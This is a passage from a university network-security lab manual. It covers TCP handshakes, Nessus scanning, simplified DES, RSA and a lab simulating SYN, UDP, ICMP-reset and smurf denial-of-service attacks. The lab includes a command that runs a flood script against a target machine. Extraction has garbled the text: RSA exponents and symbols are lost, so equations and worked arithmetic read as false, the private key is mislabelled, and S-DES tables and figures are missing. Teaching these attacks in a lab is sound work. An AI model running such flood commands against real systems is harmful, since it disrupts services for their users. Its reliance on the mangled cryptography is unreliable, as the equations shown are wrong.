systems IP stack, which, in Linux, is located in the directory /usr/src/linux/net/ipv4/. The
most important protocol, of course, is TCP, on which I will focus on.

Connection initiation: to contact an udp or tcp server listening on port 1234, the client
calls a connect() with the sockaddr structure containing destination address and port. If
the client did not bind() to a source port, the systems IP stack will select one it'll bind to.
By connect()ing, the host sends a datagram containing the following information: IP src:
client address, IP dest: servers address, TCP/UDP src: clients source port, TCP/UDP dest:
port 1234. If a client is located on port 1234 on the destination host, it will reply back
with a datagram containing: IP src: server IP dst: client srcport: server port dstport: clients
source port. If there is no server located on the host, an ICMP type unreach message is
created, subcode "Connection refused". The client will then terminate. If the destination
host is down, either a router will create a different ICMP unreach message, or the client
gets no reply and the connection times out.

TCP initiation ("3-way handshake") and connection: The client will do a connection
initiation, with the tcp SYN flag set, an arbitrary sequence number, and no
acknowledgement number. The server acknowledges the SYN by sending a packet with
SYN and ACK set, another random sequence number and the acknowledgement number
the original sequence. Finally, the client replies back with a tcp datagram with the ACK
flag set, and the server's ack sequence incremented by one. Once the connection is
established, each tcp segment will be sent with no flags (PSH and URG are optional), the
sequence number for each packet incremented by the size of the previous tcp segment.
After the amount of data specified as "window size" has been transferred, the peer
sending data will wait for an acknowledgement, a tcp segment with the ACK flag set and
the ack sequence number the one of the last data packet that could be received in order.
That way, if any segments get lost, they will not be acknowledged and can be
retransmitted. To end a connection, both server and client send a tcp packet with correct
sequence numbers and the FIN flag set, and if the connection ever de-synchronizes
(aborted, desynchronized, bad sequence numbers, etc.) the peer that notices the error will
send a RST packet with correct seq numbers to terminate the connection.
 Assignment No. 8
Aim: Download vulnerability scanning tool. Generate the report for any sample
network ex. free tool as nessus

Introduction

Nessus is Remote Vulnerability scanner, which is capable to look for security bug in
software installed in remote host. It is open source, easy to use and very powerful tool for
checking for vulnerabilities and security holes. Remote Data Gathering, Host
Identification, Port Scans are some of the main purposes of using this tool. This tool can
be installed on UNIX systems and using it any Operating System can be scanned. Though
recently The Tenable Networks Inc. has developed commercial version of Nessus called,
NeWT. Though window based client is available for UNIX based Nessus server

Features:

As stated above nessus performs several tasks like Data Gathering, Port scans and
Host/Software Identification, this part of report will discuss them. And the peculiar
features of nessus which set it apart will be explored.

Data Gathering - It is useful to identify the point of view of scanning at initial stage.
System Hardening, Penetration testing, Vulnerability Test, System Management etc are
the different point of view for which Scanning is done. Hence data gathered by scan
depends highly on these parameters. Some basic information is required before scanning
any particular host:

A] IP address or Subnet of Target

b] Production or Non-Production
c] Authorized Time to Perform Scan
d] Permission for System Owner

There are high chances of crashing any system while scanning. Nessus employs number
of methods to reduce the chances of crashing the system. Though due to large number of
vulnerabilities and crashing and hang outs are still active.

Port Scanning - Stealth, Speed and Accuracy are major factor to balance when port
scanning. There are two most commonly used type of scans: connect () and SYN scans.
Nessus provides both of these scanning facilities with options of using NMAP with it.
Connect () scan is basic one; it attempts to establish a connection to open port. It isn't
very stealth but it is fast and accurate. A SYN scan is bit stealth and hard to block because
it starts but doesn't complete the TCP handshaking. Generally, Nessus's built-in port scan
works well. Though it has some limitations.
NMAP is considered best scanning tool.

Plug-ins - After Nessus performs a port scan, it runs the services plug-in which identifies
which server program running on each open port. Based on the service plug-in output
Nessus choose the subset of plug-in to run. This identification is not accurate only for
standard ports, but service plug-in also identifies service running on unknown or less
known ports.

Following are the Top-10 plug-in and their categories used in Nessus scan:

Backdoor, CGI abuse, Denial of Service, Finger Abuses, FTP, Gain a shell remotely, Gain
a root remotely, Netware, NIS etc.
1. Microsoft RPC Interface Buffer Overrun
2. SMB login
3. Buffer Overflow in workstation Service
4. Default community names of SNMP agents
5. Using NETBIOS to retrieve information on windows host.
6. Microsoft front-page exploits
7. IIS - WebDAV Overrun
8. ASN.1 parsing vulnerabilities
9. ICMP timestamp
10. Remote Host replies to SYN+FIN

Here some of the main features of Nessus are discussed:

1. Intelligent Scanning
Nessus will not consider that a given service ruls always on a fixed port.

i.e. If http server is being run on port 1234, Nessus will still look for http
server on port 1234 and if the port is open, Nessus will reveal it. The most
important feature is, Nessus will not determine a security vulnerability just
by considering version number of service, but actually try to exploit the
vulnerability.

2. Modular Architecture
Client/server architecture allows flexibility to deploy the scanner (server)
and GUI (client) in multiple configurations reducing management
costs.

3. Plug-in Architecture
Each security test is written as an external plug-in to Nessus. Thus new
plug-in can be easily written and added to nessus without reading
and understanding
internal structure of nessusd server.

4. CVE compatible
Each plug-in links to CVE for administrator to have further information on
public vulnerabilities. There are also links to CERT, Bug track ID and
possible
patch/solution.
 5. NASL
A special language designed and optimized for Nessus Security Scanner.
[More info further in report]

6. Up-To-Date Security Vulnerability Database

Most recent vulnerably are added and managed in to database.
"nessus-update-plug-in" command is provided to update the local database
which is updated on daily bases.

7. Scanning Unlimited amount of Hosts

Theoretically Nessus can scan unlimited amount of host for specific set of
vulnerabilities simultaneously.

8. Reports
Nessus has great feature of report generation. It can generate report in
XML, HTML, LaTeX, Text of PDF format. It gives pie-charts, graphs
and other graphical representations of vulnerabilities found on the system.
Also Nessus Reports sort the vulnerability in High, Medium and
Low risks. They are nicely presented.

Tools for general vulnerability scanning:

• Nessus at www.nessus.org/
• Nmap at www.insecure.org/nmap/
• ISS REALSecure at www.iss.net/
• SAINT at www.saintcorporation.com
• WebTrends Security Analyzer at www.netiq.com/webtrends/defaults.asp
• GFI LANGuard at www.gfi.com/lannetscan/index.htm
• CyberCop at www.mcafeeasap.com/content/cybercop_asap

ShieldsUP! At www.grc.com
www.netscan.org

Man-in-the-middle
• www.is-it-true.org/pt/ptips1.html
• www.bugnet.com/alerts/ba0105011.html

Monitor for intruders

• www.packetnexus.com/idsfaq/Section_3.html
• www.dshield.org/
• RSDPEvalSetup.exe
 Assignment No. 9
Aim : Implement secrete key algorithm

Overview
Figure 1 illustrates the overall structure of the simplified DES, which we will refer to a
SDES.
The S-DES encryption algorithm takes an 8-bit block of plaintext (examples:
10111101) and a 10-bit key as input and produces an 8-bit block of ciphertext as output.
The S-DES decryption algorithm takes an 8-bit block of ciphertext and the same 10-bit
key used to produce that ciphertext as input and produces the original 8-bit block of
plaintext.
The encryption algorithm involves five functions
An initial permutation (IP).
A complex function labeled fk, which involves both permutation and substitution
operations and depends on a key input.
A simple permutation function that switches (SW) the two halves of the data.
The function fk again.
A permutation function that is the inverse of the initial permutation (IP-1).
S-DES Key Generation
S-DES depends on the use of a 10-bit key shared between sender and receiver. From this
key, two 8-bit subkeys are produced for use in particular stages of the encryption and
decryption algorithm, see figure 2.
First, permute the key in the following fashion. Let the 10-bit key be designated as (k1, k2,
k3, k4, k5, k6, k7, k8, k9, k10). Then the permutation P10 is defined as:
P10(k1, k2, k3, k4, k5, k6, k7, k8, k9, k10) = (k3, k5, k2, k7, k4, k10, k1, k9, k8, k6).

Step 1: For example, the key (1010000010) is permuted to (1000001100).

Step 2: Divide (1000001100) into a left part 5-bit value (10000) and a right part 5-bit
value (01100).
Step 3: Perform a circular left shift (LS-1), or rotation, separately. The left value (10000)
becomes (00001). The right value (01100) becomes (11000). Concatenate the left part
(00001) and the right part (11000) into a 10-bit value (0000111000).
Step 4: Pick out and permutes 8, (don’t use 1 and 2), of the 10 bits according to the
following rules:

The result is subkey k1. The value (00 00111000) becomes:

k1 = (10100100).
Step 5: Go back to the pair of 5-bit strings produced by the two LS-1 functions, the
results of step 3, and perform a circular left shift of 2 bit positions on each string. The left
value (00001) becomes (00100) and the right value (11000) becomes (00011).
Concatenate the left part (00100) and the right part (00011) into a 10-bit value
(0010000011).
Step 6: Finally, P8 is applied again to produce k2, the value (00 10000011) becomes:
k2 = (01000011).
function_key
function [k1,k2] = function_key(key)
Initial and Final Permutations
The input to the algorithm is an 8-bit block of plaintext (10111101), which we first
permute using the IP function.
Step first: Permute the plaintext (10111101) with IP and the value becomes (01111110).
Divide the value into two parts. The left part becomes (0111) and the right part becomes
(1110).

This retains all 8 bits of the plaintext but mixes them up. At the end of the algorithm, the
inverse permutation is used.
Step last: Permute the value (11101100) with IP-1 and the ciphertext becomes
(01110101).

It is easy to show by example that the second permutation is indeed the reverse of the
first; that is, IP-1(IP(X)) = X.
The Function F and fk
The most complex component of S-DES is the function fk, which consists of a
combination of permutation and substitution functions, see figure 3.
fk(L,R) = (L F(R,SK),R)
function_F
function F = function_ff(key,R)
function_fk
function [L,R] = function_fk(key,L,R)
SK is a subkey, k1 or k2, and is the bit-by-bit exclusive-OR function.
Step 1:
First loop: Suppose the output of the IP stage is (01111110), the left 4-bit value is (0111)
and the right 4-bit value is (1110).
Second loop: The output of the SW stage is (11101100), the left 4-bit value is (1110) and
the right 4-bit value is (1100).
Step 2:
First loop: Expand the 4-bit value (1110) and concatenate it twice into an 8-bit value
(11101110).
Second loop: Expand the 4-bit value (1100) and concatenate it twice into an 8-bit value
(11001100).
Step 3:
First loop: Permute (11101110) and we have (01111101).
Second loop: Permute (11001100) and we have (01101001).
Step 4:
First loop: Create a matrix based on the result of step 3. Row 1 is (0111). Row 2 is
(1101).

Second loop: Create a matrix based on the result of step 3. Row 1 is (0110). Row 2 is
(1001).

Step 5:
First loop: Create a matrix based on the 8-bit subkey K1 = (k11, k12, k13, k14, k15, k16, k17,
k18). We use the key (10100100).

Second loop: Create a matrix based on the 8-bit subkey K2 = (k21, k22, k23, k24, k25, k26, k27,
k28). We use the key (01000011).

Step 6:
First loop: Perform an exclusive-OR function on the matrix in step 4 and step 5.

Second loop: Perform an exclusive-OR function on the matrix in step 4 and step 5.

Step 7:
First loop: Rename the result of matrix in step 6. Create groups according to these roles:
(P0,0 P0,3), (P0,1 P0,2), (P1,0 P1,3) and (P1,1 P1,2). Convert the binary value to decimal.

(P0,0 P0,3) = (11) = 3

(P0,1 P0,2) = (10) = 2
(P1,0 P1,3) = (11) = 3
(P1,1 P1,2) = (00) = 0
Second loop: Rename the result of matrix in step 6. Create groups according to these
roles: (P0,0 P0,3), (P0,1 P0,2), (P1,0 P1,3) and (P1,1 P1,2). Convert the binary value to decimal.

(P0,0 P0,3) = (00) = 0

(P0,1 P0,2) = (01) = 1
(P1,0 P1,3) = (10) = 2
(P1,1 P1,2) = (01) = 1
Step 8: The S-boxes operate as follows. The first and fourth input bits are treated as a 2-
bit number that specify a row of the S-box, and the second and third input bits specify a
column of the S-box. The entry in that row and column, in base 2, is the 2-bit row 0,
column 2 of S0, which is 3, or (11) in binary. Add the two 2-bit results into a one 4-bit
value.
First loop:
S0y = (P0,0 P0,3) = (11) = 3
S0x = (P0,1 P0,2) = (10) = 2
S0(y,x) = 3 (dec) = 11 (bin)
S1y = (P1,0 P1,3) = (11) = 3
S1x = (P1,1 P1,2) = (00) = 0
S1(y,x) = 2 (dec) = 10 (bin)
Concatenate S0 (3=11) and S1 (2=10) into a 4-bit value (1110).

Second loop:
S0y = (P0,0 P0,3) = (00) = 0
S0x = (P0,1 P0,2) = (01) = 1
S0(y,x) = 0 (dec) = 00 (bin)
S1y = (P1,0 P1,3) = (10) = 2
S1x = (P1,1 P1,2) = (01) = 1
S1(y,x) = 0 (dec) = 00 (bin)
Concatenate S0 (0=00) and S1 (0=00) into a 4-bit value (0000).

Step 9:
First loop:
Permute the value (1110) which becomes (1011) using P4.
Second loop:
Permute the value (0000) which becomes (0000) using P4.

Step 10:
First loop:
Take the left value from step 1 (0111) and exclusive-OR the value from step 9 (1011).
(0111) (1011) = (1100).
Second loop:
Take the left value from step 1 (1110) and exclusive-OR the value from step 9 (0000).
(1110) (0000) = (1110).
Step 11:
First loop:
Take the value from step 10 (1100) and the right value from step 1 (1110).
Second loop:
Take the value from step 10 (1110) and the value from step 10 first loop (1100).
The Switch Function
The function fk only alters the leftmost 4-bits of the input. The switch function (SW)
interchanges the left and right 4-bits so that the second instance of fk operates on a
different 4-bit.
Take the value from step 10 first loop (1100) and the right 4-bit value from IP (1110).
Swap places with each other. Use (1110) as input to the left side in the fk in the second
loop. Use (1100) as input to the right side in the fk in the second loop.
function_switch
function [L,R] = function_switch(L,R)
 Assignment No. 10
Aim: Implement public key algorithm
The RSA Algorithm

The RSA scheme is a block cipher in which the plaintext and ciphertext
are integers between 0 and n 1 for some n. A typical size for n is 1024
bits, or 309 decimal digits. That is, n is less than 21024. We examine RSA
in this section in some detail, beginning with an explanation of the
algorithm. Then we examine some of the computational and
cryptanalytical implications of RSA.

Description of the Algorithm

The scheme developed by Rivest, Shamir, and Adleman makes use of
an expression with exponentials. Plaintext is encrypted in blocks, with
each block having a binary value less than some number n. That is, the
block size must be less than or equal to log2(n); in practice, the block

size is i bits, where 2i < n 2i+1. Encryption and decryption are of the
following form, for some plaintext block M and ciphertext block C:
C = Me mod n
M = Cd mod n = (Me)d mod n = Med mod n
Both sender and receiver must know the value of n. The sender knows
the value of e, and only the receiver knows the value of d. Thus, this is
a public-key encryption algorithm with a public key of PU = {e, n} and
a private key of PU = {d, n}. For this algorithm to be satisfactory for
public-key encryption, the following requirements must be met:

1. It is possible to find values of e, d, n such that Med mod n = M for

all M < n.
2. It is relatively easy to calculate mod Me mod n and Cd for all
values of M < n.
3. It is infeasible to determine d given e and n.

For now, we focus on the first requirement and consider the other
questions later. We need to find a relationship of the form
Med mod n = M
The preceding relationship holds if e and d are multiplicative inverses
modulo φ(n), where φ(n) is the Euler totient function. It is shown in
Chapter 8 that for p, q prime, φ(pq) = (p 1)(q 1) The relationship
between e and d can be expressed as
Equation 9-1

This is equivalent to saying

ed 1 mod φ(n)
d e1 mod φ(n)
That is, e and d are multiplicative inverses mod φ(n). Note that,
according to the rules of modular arithmetic, this is true only if d (and
therefore e) is relatively prime to φ(n). Equivalently, gcd(φ(n),d) = 1. See
Appendix 9A for a proof that Equation (9.1) satisfies the requirement
for RSA.
We are now ready to state the RSA scheme. The ingredients are the
following:
p,q, two prime numbers (private, chosen)
n = pq (public,
calculated)
e, with gcd(φ(n),e) = 1;1 < e < (public, chosen)
φ(n)
(private,
d e (mod φ(n))
1
calculated)

The private key consists of {d, n} and the public key consists of {e, n}.
Suppose that user A has published its public key and that user B
wishes to send the message M to A. Then B calculates C = Me mod n
and transmits C. On receipt of this ciphertext, user A decrypts by
calculating M = Cd mod n.
Figure 9.5 summarizes the RSA algorithm. An example, from [SING99],
is shown in Figure 9.6. For this example, the keys were generated as
follows:

1. Select two prime numbers, p = 17 and q = 11.

2. Calculate n = pq = 17 x 11 = 187.
3. Calculate φ(n) = (p 1)(q 1) = 16 x 10 = 160.
4. Select e such that e is relatively prime to φ(n) = 160 and less than
φ(n) we choose e = 7.

5. Determine d such that de 1 (mod 160) and d < 160. The

correct value is d = 23, because 23 x 7 = 161 = 10 x 160 + 1; d
can be calculated using the extended Euclid's algorithm (Chapter
4).
 Figure 9.6. Example of RSA Algorithm

The resulting keys are public key PU = {7,187} and private key PR =
{23,187}. The example shows the use of these keys for a plaintext
input of M = 88. For encryption, we need to calculate C = 887 mod 187.
Exploiting the properties of modular arithmetic, we can do this as
follows:
887 mod 187 = [(884 mod 187) x (882 mod 187) x (881 mod 187)] mod
187

881 mod 187 = 88

882 mod 187 = 7744 mod 187 = 77

884 mod 187 = 59,969,536 mod 187 = 132

887 mod 187 = (88 x 77 x 132) mod 187 = 894,432 mod 187 = 11

For decryption, we calculate M = 1123 mod 187:

1123 mod 187 = [(111 mod 187) x (112 mod 187) x (114 mod 187) x (118
mod 187) x (118 mod 187)] mod 187

111 mod 187 = 11

112 mod 187 = 121

114 mod 187 = 14,641 mod 187 = 55

118 mod 187 = 214,358,881 mod 187 = 33

1123 mod 187 = (11 x 121 x 55 x 33 x 33) mod 187 = 79,720,245 mod
187 = 88

Assignment No. 11
Aim : Simulate SYN flood attack
Background and Theory: Dos attacks are possible because when the Internet was
initially developed it was designed for scalability and easy connectivity. The Internet was
not designed to support authentication schemes. This lack of authentication at the
network layer is what allows IP spoofing. IP spoofing refers to creating an IP packet
containing fake information (see figure 1). IP source address spoofing occurs when an IP
packet is generated using a different source IP address than the actual address that is
assigned to the source computer. IP spoofing is accomplished using socket programming
and a raw socket. A raw socket is a computer networking term used to describe a socket
that allows access to the packet headers. Raw socket programming allows users to create
their own packet headers. Hackers use this ability to spoof IP addresses as part of their
DoS attack.

Figure 1: IP Packet Diagram (www.h3c.com)

Without an integrity check for each IP packet, attackers can spoof any field of an IP
packet and inject it into the Internet. Routers generally do not have packet-tracing
functions because keeping all previous connection records would require huge amounts
storage and is not feasible. Therefore, once an IP packet is received by the victim, there is
no way to authenticate whether the packet actually comes from where it claims to be
coming from.

A DoS attack is a malicious attempt to occupy all resources of a system blocking

legitimate users from accessing it. Most often this is accomplished through flooding the
target with information so that it will overload and drop legitimate requests. It can also be
accomplished by destroying the foundation of network communication by sending
intentionally flawed or malicious messages.

There are two general types of DoS attacks. The first type tries to crash a system by
sending one or more carefully crafted packets that exploit a software vulnerability in the
target system. An example of this is the “ping-of-death” attack. It uses an ICMP packet
that splits into multiple data-grams when it reaches the target system, to freeze and shut
down (We will be using a similar less destructive attack called the ICMP Reset attack).
The other type of attack is a flood attack where large amounts of traffic are send to
occupy all a systems resources. During this type of attack packet loss or dropped packets
occur when a processing queue’s capacity is filled. Once it is filled it starts to drop
packets allowing it to process the requests that currently fill the buffer. When a packet is
lost legitimate traffic backs off its sending rate according a back off algorithm. Hackers
however, do not back off this allows them to continue flooding the system and
completely starve out all legitimate traffic. The first type of attack is usually avoidable by
keeping all the components of the system patched and up to date. The other type of attack
is not as easy to prevent. Any computer that is connected to the internet can be vulnerable
to this type of attack.

A variation of the second type of DoS attack is a distributed denial of service or DDoS
attack. This attack uses multiple sources to flood a system making the DDoS attack more
powerful and harder to defend.

TCP SYN Attack (DoS)

Figure 2: TCP Transition Diagram (www4.informati.uni)

Every TCP connection is first established by use of the three-way handshake. First, the
client sends a SYN packet to the server, requesting a connection. Then the server
responds to the client with a SYN-ACK packet, and stores the request information in the
memory queue. Information about the connection is then stored into memory. The
connection is then in a half-open state, called the SYN RECVD state. After receiv-ing the
SYN-ACK packet, the client will confirm the request using an ACK packet. When the
server receives the ACK packet, it checks the memory to see whether this packet is used
to confirm an existing request. If it is, that TCP connection is moved from the SYN
RECVD state to the ESTABLISHED state. After the client and server have finished the
three-way handshake they can start transferring data.

The SYN attack exploits the fact that a server needs to allocate a memory for any
incoming SYN packet regardless of its authenticity. During SYN flood attacks, the
attacker sends SYN packets with spoofed source IP addresses to a server. The server must
store the connection information into memory and wait for the confirmation from the
client. While the re-quest is waiting to be confirmed the connection information will
remain in memory. Because the packets are spoofed connections, the server will not
receive any packets back ant will hold the connection info until timeout. As the requests
accumulate the memory fills. Once the memory buffer is full no new request can be
processed and the services of the system are disabled.

Figure 3:TCP Packet Diagram (www.h3c.com)

UDP Flood Attack (DoS)

Figure 4: UDP Packet Diagram (www.h3c.com)

The UDP flood attack works in much the same way as the TCP attack mentioned above.
It does not however rely on filling up a stored memory buffer. The UDP attack works by
trying to consume all available bandwidth or by sending information so fast the router
can not process it fast enough and the routers receive buffer fills and overflows.

ICMP Reset Attack (DoS)

Figure 5: ICMP Packet Diagram (www.cisco.com)

ICMP protocol is considered a core protocol of the TCP/IP protocol suite, and its
implementation is mandatory in all devices that participate in computer networks based
on IP technology. ICMP is employed for a variety of functions. However in this lab we
will be interested in only one of them: the use of ICMP for fault isolation.

There are two types of ICMP error messages Soft and Hard errors. Soft errors are
supposed to be temporary error conditions that will likely get solved in the near future
(like if a link were to go down). Hard errors are ones that are not suspected to be fixed
over time (like if the segments are too large and the do not fragment bit is set). No matter
how many times you send the segment it will never reach its destination.

For TCP when an error condition is notified by means of an ICMP Hard error message, it
will abort the current connection because it is assuming that this error will not be fixed
over time and it doesn’t make sense to re-transmit the segment. Similar to the above
mentioned IP spoofing, there are no validation checks performed on received ICMP error
messages. The IETF mandates that the entire IP header plus the first eight bytes of the IP
payload (the transport protocol header) must be included in the ICMP error message. All
a hacker must do to disrupt any TCP communication is sniff out (or bruit force guess) the
four-tuple and it will be considered a legitimate packet.

ICMP Ping request (DDoS)

The DDoS attack implemented is the “smurf ” attack. It is ICMP flood where attackers
use ICMP echo request packets directed to IP broadcast addresses from remote locations
to generate denial of service attacks. There are three components involved in these
attacks: the attacker, the interme-diary, and the victim. First, the attacker sends one ICMP
echo request packet to the network broadcast address and the request is forwarded to all
the hosts within the intermediary network. Second, all of the hosts within the interme-
diary network send the ICMP echo replies to flood the victim.

disabling the IP-directed broad-cast service at the intermediary network.

Enable SYN Cookies in you WS 4.0 machine. This machine will be used later as the
attacker’s target.
# echo 1 > /proc/sys/net/ipv4/tcp_syncookies

(Although you do not need to do this, if you added the above command to the
/etc/rc.d/rc.local script file you would not have to type it again the next time you reboot
your system).

Edit the /etc/sysctl.conf file and add the following line:

# Enable TCP SYN Cookie Protection

net.ipv4.tcp_syncookies = 1

You must restart your network for the change to take effect. The command to restart the
network is the following:

/# /etc/rc.d/init.d/network restart

Start Ethereal on your Red Hat WS 4.0 machine. From your Red Hat 7.2 machine,
execute datapool.sh with your WS 4.0 machine as the destination, 21 as the port, a
continuous attack, T3 as your line speed, and executing exclusively synful. Use the
command below.

./datapool.sh –c –d 57.35.6.x –p 21-21 –l T3 –r <nameofattack>

Look at Ethereal and wait until the attack gets started (You will see a huge increase in
TCP packets). From your Windows XP machine, FTP into your Red Hat WS 4.0
machine.

Stop Ethereal and observe the Ethereal output. Close your FTP session.

Q8.9: Where you able to establish the FTP connection? Why or why not?

Q8.10: Can you see any difference in the TCP packets? (Hint: Look at the sequence
number)

Q8.11: Compare and contrast the relative effectiveness of the three attacks including a
comparison of the first attack before and after the defense against the first attack was
deployed.
For future labs, you may not want the SYN cookies enabled. Disable SYN cookies by
doing:

# echo -n 0 > /proc/sys/net/ipv4/tcp_syncookies

Edit the /etc/sysctl.conf file and remove the following line:

# Enable TCP SYN Cookie Protection

net.ipv4.tcp_syncookies = 1

You must restart your network for the change to take effect. The command to restart the
network is the following:

/# /etc/rc.d/init.d/network restart